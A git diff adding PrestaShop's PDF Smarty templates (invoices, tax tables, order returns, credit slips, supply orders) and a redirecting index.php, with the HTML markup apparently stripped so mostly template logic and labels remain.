        + diff --git a/pdf/index.php b/pdf/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/pdf/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/pdf/invoice-b2b.tpl b/pdf/invoice-b2b.tpl new file mode 100755 index 0000000..0fc86cb --- /dev/null +++ b/pdf/invoice-b2b.tpl @@ -0,0 +1,292 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        + + + +
         
        + + + + + + + +
        + {if !empty($delivery_address)} + + + + + +
        + {l s='Delivery Address' pdf='true'}
        + {$delivery_address} +
        + {l s='Billing Address' pdf='true'}
        + {$invoice_address} +
        + {else} + + + + + +
        + {l s='Billing & Delivery Address.' pdf='true'}
        + {$invoice_address} +
        + +
        + {/if} +
        + + +
         
        + +{if $customer->siret or $customer->ape} + + + + + + +
        + {if $customer->siret} + {l s='Company:'} {$customer->company} + {/if} + {if $customer->siret} +
        + {l s='SIRET:'} {$customer->siret} + {/if} + {if $customer->ape} +
        + {l s='APE:'} {$customer->ape} + {/if} +
        + +{/if} + +
         
        + + + + + + + +
        + + {l s='Order Number:' pdf='true'}
        + {$order->getUniqReference()}
        +
        + {l s='Order Date:' pdf='true'}
        + {dateFormat date=$order->date_add full=0}
        +
        + {l s='Payment Method:' pdf='true'}
        + + {foreach from=$order_invoice->getOrderPaymentCollection() item=payment} + + + + + {foreachelse} + + + + {/foreach} +
        {$payment->payment_method}{displayPrice price=$payment->amount currency=$order->id_currency}
        {l s='No payment'}
        +
        + +
        + + + + + {if !$tax_excluded_display} + + {/if} + + + + + + {foreach $order_details as $order_detail} + {cycle values='#FFF,#DDD' assign=bgcolor} + + + + {if !$tax_excluded_display} + + {/if} + + + + + + {foreach $order_detail.customizedDatas as $customization} + + + + + + + {/foreach} + {/foreach} +
        {l s='Product / Reference' pdf='true'}{l s='Unit Price' pdf='true'}
        {l s='(Tax Excl.)' pdf='true'}
        {l s='Unit Price' pdf='true'}{l s='Discount' pdf='true'}{l s='Qty' pdf='true'}{l s='Total' pdf='true'}
        {$order_detail.product_name} + {displayPrice currency=$order->id_currency price=$order_detail.unit_price_tax_excl} + + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_detail.unit_price_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_detail.unit_price_tax_incl} + {/if} + + {if (isset($order_detail.reduction_amount) && $order_detail.reduction_amount > 0)} + -{displayPrice currency=$order->id_currency price=$order_detail.reduction_amount} + {else if (isset($order_detail.reduction_percent) && $order_detail.reduction_percent > 0)} + -{$order_detail.reduction_percent}% + {else} + -- + {/if} + {$order_detail.product_quantity} + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_detail.total_price_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_detail.total_price_tax_incl} + {/if} +
        + {foreach $customization.datas as $customization_types} +
        + {foreach $customization_types as $customization_infos name=custo_foreach} + {$customization_infos.name}: {$customization_infos.value} + {if !$smarty.foreach.custo_foreach.last}
        + {else} +
         
        + {/if} + {/foreach} +
        + {/foreach} +
        ({$customization.quantity})
        + + + {if (($order_invoice->total_paid_tax_incl - $order_invoice->total_paid_tax_excl) > 0)} + + + + + + + + + + {else} + + + + + {/if} + + {if $order_invoice->total_discount_tax_incl > 0} + + + + + {/if} + + {if $order_invoice->total_wrapping_tax_incl > 0} + + + + + {/if} + + {if $order_invoice->total_shipping_tax_incl > 0} + + + + + {/if} + + {if ($order_invoice->total_paid_tax_incl - $order_invoice->total_paid_tax_excl) > 0} + + + + + {/if} + + + + + + + {if $order_invoice->getRestPaid()} + + + + + {/if} +
        {l s='Product Total (Tax Excl.)' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_products}
        {l s='Product Total (Tax Incl.)' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_products_wt}
        {l s='Product Total' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_products}
        {l s='Total Vouchers' pdf='true'}-{displayPrice currency=$order->id_currency price=$order_invoice->total_discount_tax_incl}
        {l s='Wrapping Cost' pdf='true'} + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_invoice->total_wrapping_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_invoice->total_wrapping_tax_incl} + {/if} +
        {l s='Shipping Cost' pdf='true'} + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_invoice->total_shipping_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_invoice->total_shipping_tax_incl} + {/if} +
        {l s='Total Tax' pdf='true'}{displayPrice currency=$order->id_currency price=($order_invoice->total_paid_tax_incl - $order_invoice->total_paid_tax_excl)}
        {l s='Total' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_paid_tax_incl}
        {l s='Remaining Amount Due' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->getRestPaid()}
        + +
        + + +
         
        + +{$tax_tab} + +{if isset($order_invoice->note) && $order_invoice->note} +
         
        + + + + + +
        {$order_invoice->note|nl2br}
        +{/if} + +{if isset($HOOK_DISPLAY_PDF)} +
         
        + + + + + +
        {$HOOK_DISPLAY_PDF}
        +{/if} + +
        \ No newline at end of file diff --git a/pdf/invoice.tax-tab.tpl b/pdf/invoice.tax-tab.tpl new file mode 100755 index 0000000..70dbbe7 --- /dev/null +++ b/pdf/invoice.tax-tab.tpl @@ -0,0 +1,103 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $tax_exempt || ((isset($product_tax_breakdown) && $product_tax_breakdown|@count > 0) || (isset($ecotax_tax_breakdown) && $ecotax_tax_breakdown|@count > 0))} + + + + + + +
        + {if $tax_exempt} + {l s='Exempt of VAT according section 259B of the General Tax Code.' pdf='true'} + {else} + + + + + {if !$use_one_after_another_method} + + {/if} + + + + {if isset($product_tax_breakdown)} + {foreach $product_tax_breakdown as $rate => $product_tax_infos} + + + + {if !$use_one_after_another_method} + + {/if} + + + {/foreach} + {/if} + + {if isset($shipping_tax_breakdown)} + {foreach $shipping_tax_breakdown as $shipping_tax_infos} + + + + {if !$use_one_after_another_method} + + {/if} + + + {/foreach} + {/if} + + {if isset($ecotax_tax_breakdown)} + {foreach $ecotax_tax_breakdown as $ecotax_tax_infos} + {if $ecotax_tax_infos.ecotax_tax_excl > 0} + + + + {if !$use_one_after_another_method} + + {/if} + + + {/if} + {/foreach} + {/if} +
        {l s='Tax Detail' pdf='true'}{l s='Tax Rate' pdf='true'}{l s='Total Tax Excl' pdf='true'}{l s='Total Tax' pdf='true'}
        + {if !isset($pdf_product_tax_written)} + {l s='Products' pdf='true'} + {assign var=pdf_product_tax_written value=1} + {/if} + {$rate} % + {if isset($is_order_slip) && $is_order_slip}- {/if}{displayPrice currency=$order->id_currency price=$product_tax_infos.total_price_tax_excl} + {if isset($is_order_slip) && $is_order_slip}- {/if}{displayPrice currency=$order->id_currency price=$product_tax_infos.total_amount}
        + {if !isset($pdf_shipping_tax_written)} + {l s='Shipping' pdf='true'} + {assign var=pdf_shipping_tax_written value=1} + {/if} + {$shipping_tax_infos.rate} %{if isset($is_order_slip) && $is_order_slip}- {/if}{displayPrice currency=$order->id_currency price=$shipping_tax_infos.total_tax_excl}{if isset($is_order_slip) && $is_order_slip}- {/if}{displayPrice currency=$order->id_currency price=$shipping_tax_infos.total_amount}
        {l s='Ecotax' pdf='true'}{$ecotax_tax_infos.rate } %{if isset($is_order_slip) && $is_order_slip}- {/if}{displayPrice currency=$order->id_currency price=$ecotax_tax_infos.ecotax_tax_excl}{if isset($is_order_slip) && $is_order_slip}- {/if}{displayPrice currency=$order->id_currency price=($ecotax_tax_infos.ecotax_tax_incl - $ecotax_tax_infos.ecotax_tax_excl)}
        + {/if} +
        + +{/if} \ No newline at end of file diff --git a/pdf/invoice.tpl b/pdf/invoice.tpl new file mode 100755 index 0000000..13a68ac --- /dev/null +++ b/pdf/invoice.tpl @@ -0,0 +1,305 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        + + + +
         
        + + + + + + + +
        + {if !empty($delivery_address)} + + + + + +
        + {l s='Delivery Address' pdf='true'}
        + {$delivery_address} +
        + {l s='Billing Address' pdf='true'}
        + {$invoice_address} +
        + {else} + + + + + + +
        + {l s='Billing & Delivery Address.' pdf='true'}
        + {$invoice_address} +
        + +
        + {/if} +
        + + +
         
        + + + + + + + +
        + + {l s='Order Number:' pdf='true'}
        + {$order->getUniqReference()}
        +
        + {l s='Order Date:' pdf='true'}
        + {dateFormat date=$order->date_add full=0}
        +
        + {l s='Payment Method:' pdf='true'}
        + + {foreach from=$order_invoice->getOrderPaymentCollection() item=payment} + + + + + {foreachelse} + + + + {/foreach} +
        {$payment->payment_method}{displayPrice price=$payment->amount currency=$order->id_currency}
        {l s='No payment' pdf='true'}
        +
        + +
        + + + + + {if !$tax_excluded_display} + + {/if} + + + + + + + {foreach $order_details as $order_detail} + {cycle values='#FFF,#DDD' assign=bgcolor} + + + + {if !$tax_excluded_display} + + {/if} + + + + + + {foreach $order_detail.customizedDatas as $customizationPerAddress} + {foreach $customizationPerAddress as $customizationId => $customization} + + + + + + + {/foreach} + {/foreach} + {/foreach} + + + + {assign var="shipping_discount_tax_incl" value="0"} + {foreach $cart_rules as $cart_rule} + {if $cart_rule.free_shipping} + {assign var="shipping_discount_tax_incl" value=$order_invoice->total_shipping_tax_incl} + {/if} + {cycle values='#FFF,#DDD' assign=bgcolor} + + + + + {/foreach} + +
        {l s='Product / Reference' pdf='true'}{l s='Unit Price' pdf='true'}
        {l s='(Tax Excl.)' pdf='true'}
        + {l s='Unit Price' pdf='true'} + {if $tax_excluded_display} + {l s='(Tax Excl.)' pdf='true'} + {else} + {l s='(Tax Incl.)' pdf='true'} + {/if} + {l s='Discount' pdf='true'}{l s='Qty' pdf='true'} + {l s='Total' pdf='true'} + {if $tax_excluded_display} + {l s='(Tax Excl.)' pdf='true'} + {else} + {l s='(Tax Incl.)' pdf='true'} + {/if} +
        {$order_detail.product_name} + {displayPrice currency=$order->id_currency price=$order_detail.unit_price_tax_excl} + + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_detail.unit_price_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_detail.unit_price_tax_incl} + {/if} + + {if (isset($order_detail.reduction_amount) && $order_detail.reduction_amount > 0)} + -{displayPrice currency=$order->id_currency price=$order_detail.reduction_amount} + {else if (isset($order_detail.reduction_percent) && $order_detail.reduction_percent > 0)} + -{$order_detail.reduction_percent}% + {else} + -- + {/if} + {$order_detail.product_quantity} + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_detail.total_price_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_detail.total_price_tax_incl} + {/if} +
        + +
        + {if isset($customization.datas[$smarty.const._CUSTOMIZE_TEXTFIELD_]) && count($customization.datas[$smarty.const._CUSTOMIZE_TEXTFIELD_]) > 0} + {foreach $customization.datas[$smarty.const._CUSTOMIZE_TEXTFIELD_] as $customization_infos} + {$customization_infos.name}: {$customization_infos.value} + {if !$smarty.foreach.custo_foreach.last}
        + {else} +
         
        + {/if} + {/foreach} + {/if} + + {if isset($customization.datas[$smarty.const._CUSTOMIZE_FILE_]) && count($customization.datas[$smarty.const._CUSTOMIZE_FILE_]) > 0} + {count($customization.datas[$smarty.const._CUSTOMIZE_FILE_])} {l s='image(s)' pdf='true'} + {/if} +
        +
        ({$customization.quantity})
        {$cart_rule.name} + {if $tax_excluded_display} + - {$cart_rule.value_tax_excl} + {else} + - {$cart_rule.value} + {/if} +
        + + + {if (($order_invoice->total_paid_tax_incl - $order_invoice->total_paid_tax_excl) > 0)} + + + + + + + + + + {else} + + + + + {/if} + + {if $order_invoice->total_discount_tax_incl > 0} + + + + + {/if} + + {if $order_invoice->total_wrapping_tax_incl > 0} + + + + + {/if} + + {if $order_invoice->total_shipping_tax_incl > 0} + + + + + {/if} + + {if ($order_invoice->total_paid_tax_incl - $order_invoice->total_paid_tax_excl) > 0} + + + + + {/if} + + + + + + +
        {l s='Product Total (Tax Excl.)' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_products}
        {l s='Product Total (Tax Incl.)' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_products_wt}
        {l s='Product Total' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_products}
        {l s='Total Vouchers' pdf='true'}-{displayPrice currency=$order->id_currency price=($order_invoice->total_discount_tax_incl + $shipping_discount_tax_incl)}
        {l s='Wrapping Cost' pdf='true'} + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_invoice->total_wrapping_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_invoice->total_wrapping_tax_incl} + {/if} +
        {l s='Shipping Cost' pdf='true'} + {if $tax_excluded_display} + {displayPrice currency=$order->id_currency price=$order_invoice->total_shipping_tax_excl} + {else} + {displayPrice currency=$order->id_currency price=$order_invoice->total_shipping_tax_incl} + {/if} +
        {l s='Total Tax' pdf='true'}{displayPrice currency=$order->id_currency price=($order_invoice->total_paid_tax_incl - $order_invoice->total_paid_tax_excl)}
        {l s='Total' pdf='true'}{displayPrice currency=$order->id_currency price=$order_invoice->total_paid_tax_incl}
        + +
        + + +
         
        + +{$tax_tab} + +{if isset($order_invoice->note) && $order_invoice->note} +
         
        + + + + + +
        {$order_invoice->note|nl2br}
        +{/if} + +{if isset($HOOK_DISPLAY_PDF)} +
         
        + + + + + +
        {$HOOK_DISPLAY_PDF}
        +{/if} + +
        diff --git a/pdf/order-return.tpl b/pdf/order-return.tpl new file mode 100755 index 0000000..299d176 --- /dev/null +++ b/pdf/order-return.tpl @@ -0,0 +1,163 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        + + + +
         
        + + + + + + + +
        + {if !empty($invoice_address)} + + + + + +
        + {l s='Delivery Address' pdf='true'}
        + {$delivery_address} +
        + {l s='Billing Address' pdf='true'}
        + {$invoice_address} +
        + {else} + + + + + +
        + {l s='Billing & Delivery Address' pdf='true'}
        + {$delivery_address} +
        + +
        + {/if} +
        + + + + +
         
        + + + + + + + +
        + + {l s='We have logged your return request.' pdf='true'}
        + {l s='Your package must be returned to us within' pdf='true'} {$return_nb_days} {l s='days of receiving your order.' pdf='true'}
        +
        + + + + + + + +
        + + {l s='Return Number:' pdf='true'}
        + {'%06d'|sprintf:$order_return->id}
        +
        + {l s='Date:' pdf='true'}
        + {dateFormat date=$order_return->date_add full=0}
        +
        + +
        + + + + + + + {foreach $products as $product} + {cycle values='#FFF,#DDD' assign=bgcolor} + + + + + + {/foreach} +
        {l s='ITEMS TO BE RETURNED' pdf='true'}{l s='REFERENCE' pdf='true'}{l s='QTY' pdf='true'}
        {$product.product_name} + {if empty($product.product_reference)} + --- + {else} + {$product.product_reference} + {/if} + {$product.product_quantity}
        +
        + + + + + + +
        + + + + + + + + +
        {l s='If the following conditions are not respected we reserve the rights to refuse your package and/or reimbursement:' pdf='true'}
        +
          +
        • {l s='Please include this number return reference on your return package:' pdf='true'} {$order_return->id}
        • +
        • {l s='All products must be returned in their original package without damage or wear.' pdf='true'}
        • +
        • {l s='Please print out this document and slip it into your package.' pdf='true'}
        • +
        • {l s='The package should be sent to the following address:' pdf='true'}
        • +
        + {$shop_address} +
        + +
        + {l s='Upon receiving your package, we will notify you by e-mail. We will then begin processing the reimbursement of your order total. Let us know if you have any questions' pdf='true'} +
        + +{if isset($HOOK_DISPLAY_PDF)} +
         
        + + + + + +
        + {$HOOK_DISPLAY_PDF} +
        +{/if} + +
        + diff --git a/pdf/order-slip.tpl b/pdf/order-slip.tpl new file mode 100755 index 0000000..841ede0 --- /dev/null +++ b/pdf/order-slip.tpl @@ -0,0 +1,200 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        + + + +
         
        + + + + + + + +
        + {if !empty($delivery_address)} + + + + + +
        + {l s='Delivery Address' pdf='true'}
        + {$delivery_address} +
        + {l s='Billing Address' pdf='true'}
        + {$invoice_address} +
        + {else} + + + + + +
        + {l s='Billing & Delivery Address.' pdf='true'}
        + {$invoice_address} +
        + +
        + {/if} +
        + + +
         
        + + + + + + + +
        + + {l s='Order Number:' pdf='true'}
        + {$order->getUniqReference()}
        +
        + {l s='Order Date:' pdf='true'}
        + {dateFormat date=$order->date_add full=0}
        +
        + {l s='Payment Method:' pdf='true'}
        + {$order->payment}
        +
        + +
        + + + + + + + + + {foreach $order_details as $order_detail} + {cycle values='#FFF,#DDD' assign=bgcolor} + + + + + + + + + + {foreach $order_detail.customizedDatas as $customizationPerAddress} + {foreach $customizationPerAddress as $customizationId => $customization} + + + + + + + {/foreach} + {/foreach} + {/foreach} +
        {l s='Product / Reference' pdf='true'}{l s='Qty' pdf='true'}{l s='Price' pdf='true'}
        {l s='(Tax Excl.)' pdf='true'}
        {l s='Price' pdf='true'}
        {l s='(Tax Incl.)' pdf='true'}
        {$order_detail.product_name}{$order_detail.product_quantity} + - {displayPrice currency=$order->id_currency price=$order_detail.total_price_tax_excl} + + - {displayPrice currency=$order->id_currency price=$order_detail.total_price_tax_incl} +
        + {foreach $customization.datas as $customization_types} +
        + {if isset($customization.datas[$smarty.const._CUSTOMIZE_TEXTFIELD_]) && count($customization.datas[$smarty.const._CUSTOMIZE_TEXTFIELD_]) > 0} + {foreach $customization.datas[$smarty.const._CUSTOMIZE_TEXTFIELD_] as $customization_infos} + {$customization_infos.name}: {$customization_infos.value} + {if !$smarty.foreach.custo_foreach.last}
        + {else} +
         
        + {/if} + {/foreach} + {/if} + + {if isset($customization.datas[$smarty.const._CUSTOMIZE_FILE_]) && count($customization.datas[$smarty.const._CUSTOMIZE_FILE_]) > 0} + {count($customization.datas[$smarty.const._CUSTOMIZE_FILE_])} {l s='image(s)' pdf='true'} + {/if} +
        + {/foreach} +
        ({$customization.quantity})
        + + + {if $order_slip->shipping_cost_amount} + + + + + {/if} + + {if (($order->total_paid_tax_incl - $order->total_paid_tax_excl) > 0)} + + + + + + + + + + {else} + + + + + {/if} + + {if ($order->total_paid_tax_incl - $order->total_paid_tax_excl) > 0} + + + + + {/if} + + + + + +
        {l s='Shipping' pdf='true'}- {displayPrice currency=$order->id_currency price=$order_slip->shipping_cost_amount}
        {l s='Product Total (Tax Excl.)' pdf='true'}- {displayPrice currency=$order->id_currency price=$order->total_products}
        {l s='Product Total (Tax Incl.)' pdf='true'}- {displayPrice currency=$order->id_currency price=$order->total_products_wt}
        {l s='Product Total' pdf='true'}- {displayPrice currency=$order->id_currency price=$order->total_products}
        {l s='Total Tax' pdf='true'}- {displayPrice currency=$order->id_currency price=($order->total_paid_tax_incl - $order->total_paid_tax_excl)}
        {l s='Total ' pdf='true'}- {displayPrice currency=$order->id_currency price=$order->total_paid_tax_incl}
        + +
        + + +
         
        + +{$tax_tab} + +{if isset($HOOK_DISPLAY_PDF)} +
         
        + + + + + +
        + {$HOOK_DISPLAY_PDF} +
        +{/if} + +
        + diff --git a/pdf/supply-order-footer.tpl b/pdf/supply-order-footer.tpl new file mode 100755 index 0000000..da8fdd2 --- /dev/null +++ b/pdf/supply-order-footer.tpl @@ -0,0 +1,55 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +
        + {$shop_address|escape:'htmlall':'UTF-8'}
        + + {if !empty($shop_phone) OR !empty($shop_fax)} + {l s='For more assistance, contact Support:' pdf='true'}
        + {if !empty($shop_phone)} + Tel: {$shop_phone|escape:'htmlall':'UTF-8'} + {/if} + + {if !empty($shop_fax)} + Fax: {$shop_fax|escape:'htmlall':'UTF-8'} + {/if} +
        + {/if} + + {if isset($shop_details)} + {$shop_details|escape:'htmlall':'UTF-8'}
        + {/if} + + {if isset($free_text)} + {foreach $free_text as $text} + {$text|escape:'htmlall':'UTF-8'}
        + {/foreach} + {/if} +
        + diff --git a/pdf/supply-order-header.tpl b/pdf/supply-order-header.tpl new file mode 100755 index 0000000..bad3373 --- /dev/null +++ b/pdf/supply-order-header.tpl @@ -0,0 +1,55 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
         
        + + + + + + +
        + {if $logo_path} + + {/if} + + + + + + + + + + + + + + +
        {$shop_name|escape:'htmlall':'UTF-8'}
        {$date|escape:'htmlall':'UTF-8'}
        {$title|escape:'htmlall':'UTF-8'}
        {$reference|escape:'htmlall':'UTF-8'}
        +
        + diff --git a/pdf/supply-order.tpl b/pdf/supply-order.tpl new file mode 100755 index 0000000..f41e7ba --- /dev/null +++ b/pdf/supply-order.tpl @@ -0,0 +1,171 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        + + +
        + + + + + + + + {* if the address has two parts *} + {if !empty($address_warehouse->address2)} + + + + {/if} + + + +
        {$shop_name}
        {$address_warehouse->address1}
        {$address_warehouse->address2}
        {$address_warehouse->postcode} {$address_warehouse->city}
        +
        + + + +
        + + + + + + + + {* if the address has two parts *} + {if !empty($address_supplier->address2)} + + + + {/if} + + + + + + +
        {$supply_order->supplier_name}
        {$address_supplier->address1}
        {$address_supplier->address2}
        {$address_supplier->postcode} {$address_supplier->city}
        {$address_supplier->country}
        +
        + + + + +
         
        + + {l s='Products ordered:' pdf='true'} + +
        + + + + + + + + + + + + + {* for each product ordered *} + {foreach $supply_order_details as $supply_order_detail} + + + + + + + + + + + + {/foreach} +
        {l s='Reference' pdf='true'}{l s='Designation' pdf='true'}{l s='Qty' pdf='true'}{l s='Unit Price TE' pdf='true'}{l s='Total TE' pdf='true'}
        {l s='Before discount' pdf='true'}
        {l s='Discount Rate' pdf='true'}{l s='Total TE' pdf='true'}
        {l s='After discount' pdf='true'}
        {l s='Tax rate' pdf='true'}{l s='Total TI' pdf='true'}
        {$supply_order_detail->supplier_reference}{$supply_order_detail->name}{$supply_order_detail->quantity_expected}{$currency->prefix} {$supply_order_detail->unit_price_te} {$currency->suffix}{$currency->prefix} {$supply_order_detail->price_te} {$currency->suffix}{$supply_order_detail->discount_rate}{$currency->prefix} {$supply_order_detail->price_with_discount_te} {$currency->suffix}{$supply_order_detail->tax_rate}{$currency->prefix} {$supply_order_detail->price_ti} {$currency->suffix}
        +
        + + + + +
         
        + + {l s='Taxes:' pdf='true'} + +
        + + + + + + + {foreach $tax_order_summary as $entry} + + + + + + {/foreach} +
        {l s='Base TE' pdf='true'}{l s='Tax Rate' pdf='true'}{l s='Tax Value' pdf='true'}
        {$currency->prefix} {$entry['base_te']} {$currency->suffix}{$entry['tax_rate']}{$currency->prefix} {$entry['total_tax_value']} {$currency->suffix}
        +
        + + + + +
         
        + + {l s='Summary:' pdf='true'} + +
        + + + + + + + + + + + + + + + + + + + + + + + + + +
        {l s='Total TE' pdf='true'}
        {l s='(Discount excluded)' pdf='true'}
        {$currency->prefix} {$supply_order->total_te} {$currency->suffix}
        {l s='Order Discount' pdf='true'}{$currency->prefix} {$supply_order->discount_value_te} {$currency->suffix}
        {l s='Total TE' pdf='true'}
        {l s='(Discount included)' pdf='true'}
        {$currency->prefix} {$supply_order->total_with_discount_te} {$currency->suffix}
        {l s='Tax value' pdf='true'}{$currency->prefix} {$supply_order->total_tax} {$currency->suffix}
        {l s='Total TI' pdf='true'}{$currency->prefix} {$supply_order->total_ti} {$currency->suffix}
        {l s='TOTAL TO PAY' pdf='true'}{$currency->prefix} {$supply_order->total_ti} {$currency->suffix}
        +
        + +
